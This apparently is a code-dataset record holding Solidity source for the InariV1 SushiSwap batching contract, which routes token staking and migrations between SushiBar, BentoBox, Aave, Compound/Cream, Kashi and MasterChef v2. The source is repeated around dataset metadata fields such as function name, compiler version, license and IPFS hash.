IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | withdrawToken | function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
| /**********
TKN HELPERS
**********/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
1856,
1985
]
} | 11,773 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
